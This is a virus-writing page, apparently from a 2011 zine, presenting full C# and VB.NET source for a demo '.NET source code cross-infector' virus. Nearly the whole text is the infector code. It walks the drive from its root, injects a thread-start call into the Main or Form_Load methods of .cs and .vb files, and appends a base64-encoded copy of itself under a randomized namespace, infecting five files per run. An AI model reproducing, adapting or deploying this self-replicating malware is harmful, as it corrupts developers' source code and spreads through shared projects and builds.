    return To index | download demo package!

    .NET Source Code Cross-Infector (Neoter and Rhiannon)
    -----------------------------------------------------
    by alcopaul/brigada ocho
    may 24, 2011

    Below is the demo virus for my article ".NET Source Code Cross-Infection"

    Features

    1.) Infects *.cs files with entrypoint ("Main(string[] args)") and *.vb files with "Sub Main()" or "_Load()"
    2.) Infects 5 files per run
    3.) Polymorphic namespace will ensure unique instances of the virus contained in multiple source files of a single project

    If present in a .cs file
    ------------------------

    using System;
    class DeclareArraysSample
    {
        public static void Main(string[] args)
    	{
    	System.Threading.Thread gxzxzxzxz = new System.Threading.Thread(gw3hhiw5j4lh.Virus.LOL);
    	gxzxzxzxz.Start();
        }
    }

    namespace gw3hhiw5j4lh
    {
        public class Virus
        {
            private static string namespacex = "";
            private static int counter = 0;
            private static string database = "TmFtZXNwYWNlIGhtMTIzNA0KICAgIFB1YmxpYyBDbGFzcyBWaXJ1cw0KICAgICAgICBQcml2YXRlIFNoYXJlZCBuYW1lc3BhY2V4IEFzIFN0cmluZyA9ICIiDQogICAgICAgIFByaXZhdGUgU2hhcmVkIGNvdW50ZXIgQXMgSW50ZWdlciA9IDANCiAgICAgICAgUHJpdmF0ZSBTaGFyZWQgZGF0YWJhc2UgQXMgU3RyaW5nID0gIg==>[encoded data, 8292 characters]>bmFtZXNwYWNlIGhtMTIzNA0Kew0KICAgIHB1YmxpYyBjbGFzcyBWaXJ1cw0KICAgIHsNCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgc3RyaW5nIG5hbWVzcGFjZXggPSAiIjsNCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgaW50IGNvdW50ZXIgPSAwOw0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZGF0YWJhc2UgPSAi>[encoded data, 8952 characters]";
            public static void LOL()
            {
                string xy = System.IO.Directory.GetDirectoryRoot(System.IO.Path.GetDirectoryName(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName));
                System.IO.DirectoryInfo dir = new System.IO.DirectoryInfo(@xy);
                AndLetsRock(dir);
            }
            private static void AndLetsRock(System.IO.DirectoryInfo d)
            {
                string lookfor = "*.cs>*.vb";
                string[] extensions = lookfor.Split(new char[] { '>' });
                System.Collections.ArrayList myfileinfos = new System.Collections.ArrayList();
                foreach (string ext in extensions)
                {
                    myfileinfos.AddRange(d.GetFiles(ext));
                }
                System.IO.FileInfo[] xfinal = (System.IO.FileInfo[])myfileinfos.ToArray(typeof(System.IO.FileInfo));
                foreach (System.IO.FileInfo file in xfinal)
                {
                    string filename = file.FullName;
                    string ext = System.IO.Path.GetExtension(filename);
                    try
                    {
                        System.IO.StreamReader readerx = new System.IO.StreamReader(filename);
                        string gLoww = readerx.ReadToEnd();
                        readerx.Close();
                        if (ext == ".cs")
                        {
                            if (gLoww.ToLower().IndexOf("main(") >= 0)
                            {
                                if (gLoww.IndexOf("alcopaul") >= 0)
                                {
                                }
                                else
                                {
                                    infect(filename, gLoww, ext, 0);
                                    counter += 1;
                                    if (counter == 5)
                                    {
                                        return;
                                    }
                                }
                            }
                        }
                        else if (ext == ".vb")
                        {
                            if (gLoww.ToLower().IndexOf("sub main()") >= 0)
                            {
                                if (gLoww.IndexOf("alcopaul") >= 0)
                                {
                                }
                                else
                                {
                                    infect(filename, gLoww, ext, 1);
                                    counter += 1;
                                    if (counter == 5)
                                    {
                                        return;
                                    }
                                }
                            }
                            else if (gLoww.IndexOf("_Load(") >= 0)
                            {
                                if (gLoww.IndexOf("alcopaul") >= 0)
                                {
                                }
                                else
                                {
                                    infect(filename, gLoww, ext, 2);
                                    counter += 1;
                                    if (counter == 5)
                                    {
                                        return;
                                    }
                                }
                            }
                        }
                    }
                    catch
                    {
                        continue;
                    }
                }
                System.IO.DirectoryInfo[] dirs = d.GetDirectories("*.*");
                foreach (System.IO.DirectoryInfo dir in dirs)
                {
                    try
                    {
                        if (counter == 5)
                        {
                            return;
                        }
                        AndLetsRock(dir);
                    }
                    catch { continue; }
                }
            }
            private static string GetRandomString()
            {
                string pathx = System.IO.Path.GetRandomFileName();
                pathx = pathx.Replace(".", "");
                return "g" + pathx;
            }
            private static void infect(string file, string s, string ext, int g)
            {
                namespacex = GetRandomString();
                if (ext == ".vb")
                {
                    string gggx = "";
                    if (g == 2)
                    {
                    string gggg = s.Substring((s.IndexOf("_Load(") + 6), s.IndexOf(".Load") - (s.IndexOf("_Load(") + 6));
                    s = s.Replace(gggg, "");
                    gggx = s.Replace("_Load(.Load", "_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\r\n\tDim hxxxx As New " + namespacex + ".Virus\r\n\tDim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)\r\n\tgxxxx.Start()\r\n");
                    }
                    else if (g == 1)
                    {
                    gggx = s.Replace("Sub Main()", "Sub Main()\r\n\tDim hxxxx As New " + namespacex + ".Virus\r\n\tDim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)\r\n\tgxxxx.Start()\r\n");
                    }
                    string[] t = database.Split(new char[] { '>' });
                    string body0 = decodeb64(t[0]).Replace(decodeb64("aG0xMjM0"), namespacex);
                    writerx(file, gggx + "\r\n" + body0 + database + decodeb64(t[1]) + "\r\n");
                }
                else if ((ext == ".cs") && (g == 0))
                {
                    int x = s.ToLower().IndexOf("main(");
                    int yy = x;
                    char[] xx = s.ToCharArray(0, s.Length - 1);
                    while (xx[yy] != '{')
                    {
                        yy += 1;
                    }
                    string yu = "Main(string[] args)\r\n\t{\r\n\tSystem.Threading.Thread gxzxzxzxz = " +
                                "new System.Threading.Thread(" + namespacex + ".Virus.LOL);\r\n\tgxzxzxzxz.Start();";
                    s = s.Replace(s.Substring(x, (yy - x) + 1), yu);
                    string[] t = database.Split(new char[] { '>' });
                    string body2 = decodeb64(t[2]).Replace(decodeb64("aG0xMjM0"), namespacex);
                    writerx(file, s + "\r\n" + body2 + database + decodeb64(t[3]) + "\r\n");
                }
            }
            private static void writerx(string path, string datax)
            {
                using (System.IO.StreamWriter sw = new System.IO.StreamWriter(path))
                {
                    sw.Write(datax);
                    sw.Flush();
                    sw.Close();
                }
            }
            private static string decodeb64(string d)
            {
                return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(d));
            }
        }
    }

    if present in a .vb file
    ------------------------

    Public Class MainForm

        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    	Dim hxxxx As New g0pda13gaey1.Virus
    	Dim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)
    	gxxxx.Start()
        End Sub

    End Class

    Namespace g0pda13gaey1
        Public Class Virus
            Private Shared namespacex As String = ""
            Private Shared counter As Integer = 0
            Private Shared database As String = "TmFtZXNwYWNlIGhtMTIzNA0KICAgIFB1YmxpYyBDbGFzcyBWaXJ1cw0KICAgICAgICBQcml2YXRlIFNoYXJlZCBuYW1lc3BhY2V4IEFzIFN0cmluZyA9ICIiDQogICAgICAgIFByaXZhdGUgU2hhcmVkIGNvdW50ZXIgQXMgSW50ZWdlciA9IDANCiAgICAgICAgUHJpdmF0ZSBTaGFyZWQgZGF0YWJhc2UgQXMgU3RyaW5nID0gIg==>[encoded data, 8292 characters]>bmFtZXNwYWNlIGhtMTIzNA0Kew0KICAgIHB1YmxpYyBjbGFzcyBWaXJ1cw0KICAgIHsNCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgc3RyaW5nIG5hbWVzcGFjZXggPSAiIjsNCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgaW50IGNvdW50ZXIgPSAwOw0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZGF0YWJhc2UgPSAi>[encoded data, 8952 characters]"
            Public Sub AndLetsRock(ByVal GGG As System.IO.DirectoryInfo)
                Dim lookfor As String = "*.cs>*.vb"
                Dim extensions As String() = lookfor.Split(New Char() {">"c})
                Dim myfileinfos As New System.Collections.ArrayList()
                For Each ext As String In extensions
                    myfileinfos.AddRange(GGG.GetFiles(ext))
                Next
                Dim xfinal As System.IO.FileInfo() = DirectCast(myfileinfos.ToArray(GetType(System.IO.FileInfo)), System.IO.FileInfo())
                For Each x As System.IO.FileInfo In xfinal
                    Dim h As String = x.FullName
                    Dim ext As String = System.IO.Path.GetExtension(x.FullName)
                    Try
                        Dim readerxx As New System.IO.StreamReader(h, System.Text.Encoding.Unicode)
                        Dim gLowxx As String = readerxx.ReadToEnd()
                        readerxx.Close()
                        If ext = ".cs" Then
                            If gLowxx.ToLower().IndexOf("main(") >= 0 Then
                                If gLowxx.IndexOf("alcopaul") >= 0 Then
                                Else
                                    infect(h, gLowxx, ext, 0)
                                    counter += 1
                                    If counter = 5 Then
                                        Return
                                    End If
                                End If
                            End If
                        ElseIf ext = ".vb" Then
                            If gLowxx.ToLower().IndexOf("sub main()") >= 0 Then
                                If gLowxx.IndexOf("alcopaul") >= 0 Then
                                Else
                                    infect(h, gLowxx, ext, 1)
                                    counter += 1
                                    If counter = 5 Then
                                        Return
                                    End If
                                End If
                            ElseIf gLowxx.IndexOf("_Load(") >= 0 Then
                                If gLowxx.IndexOf("alcopaul") >= 0 Then
                                Else
                                    infect(h, gLowxx, ext, 2)
                                    counter += 1
                                    If counter = 5 Then
                                        Return
                                    End If
                                End If
                            End If
                        End If
                    Catch ex As Exception
                        Continue For
                    End Try
                Next
                Dim dirs As System.IO.DirectoryInfo() = GGG.GetDirectories("*.*")
                For Each j As System.IO.DirectoryInfo In dirs
                    Try
                        If counter = 5 Then
                            Return
                        End If
                        AndLetsRock(j)
                    Catch ex As Exception
                        Continue For
                    End Try
                Next
            End Sub
            Public Sub LOL()
                Dim xx As String = System.IO.Path.GetDirectoryName(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName)
                Dim dirx As New System.IO.DirectoryInfo(System.IO.Directory.GetDirectoryRoot(xx))
                AndLetsRock(dirx)
            End Sub
            Public Function decodeb64(ByVal d As String) As String
                Return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(d))
            End Function
            Public Function GetRandomString() As String
                Dim pathx As String = System.IO.Path.GetRandomFileName()
                pathx = pathx.Replace(".", "")
                Return "g" & pathx
            End Function
            Public Sub infect(ByVal file As String, ByVal s As String, ByVal ext As String, ByVal g As Integer)
                namespacex = GetRandomString()
                If ext = ".vb" Then
                    Dim gggx As String = ""
                    If g = 2 Then
                        Dim gggg As String = s.Substring((s.IndexOf("_Load(") + 6), (s.IndexOf(".Load") - (s.IndexOf("_Load(") + 6)))
                        s = s.Replace(gggg, "")
                        gggx = s.Replace("_Load(.Load", "_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load" & vbCrLf & vbTab & "Dim hxxxx As New " & namespacex & ".Virus" & vbCrLf & vbTab & "Dim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)" & vbCrLf & vbTab & "gxxxx.Start()" & vbCrLf)
                    ElseIf g = 1 Then
                        gggx = s.Replace("Sub Main()", "Sub Main()" & vbCrLf & vbTab & "Dim hxxxx As New " & namespacex & ".Virus" & vbCrLf & vbTab & "Dim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)" & vbCrLf & vbTab & "gxxxx.Start()" & vbCrLf)
                    End If
                    Dim t As String() = database.Split(New Char() {">"c})
                    Dim body0 As String = decodeb64(t(0)).Replace(decodeb64("aG0xMjM0"), namespacex)
                    writerx(file, gggx & vbCrLf & body0 & database & decodeb64(t(1)) & vbCrLf)
                ElseIf (ext = ".cs") AndAlso (g = 0) Then
                    Dim x As Integer = s.ToLower().IndexOf("main(")
                    Dim yy As Integer = x
                    Dim xx As Char() = s.ToCharArray(0, s.Length - 1)
                    While xx(yy) <> "{"c
                        yy += 1
                    End While
                    Dim yu As String = "Main(string[] args)" & vbCrLf & vbTab & "{" & vbCrLf & vbTab & "System.Threading.Thread gxzxzxzxz = " & "new System.Threading.Thread(" & namespacex & ".Virus.LOL);" & vbCrLf & vbTab & "gxzxzxzxz.Start();"
                    s = s.Replace(s.Substring(x, (yy - x) + 1), yu)
                    Dim t As String() = database.Split(New Char() {">"c})
                    Dim body2 As String = decodeb64(t(2)).Replace(decodeb64("aG0xMjM0"), namespacex)
                    writerx(file, s & vbCrLf & body2 & database & decodeb64(t(3)) & vbCrLf)
                End If
            End Sub
            Public Sub writerx(ByVal path As String, ByVal datax As String)
                Dim gx As New System.IO.StreamWriter(path)
                gx.Write(datax)
                gx.Flush()
                gx.Close()
            End Sub
        End Class
    End Namespace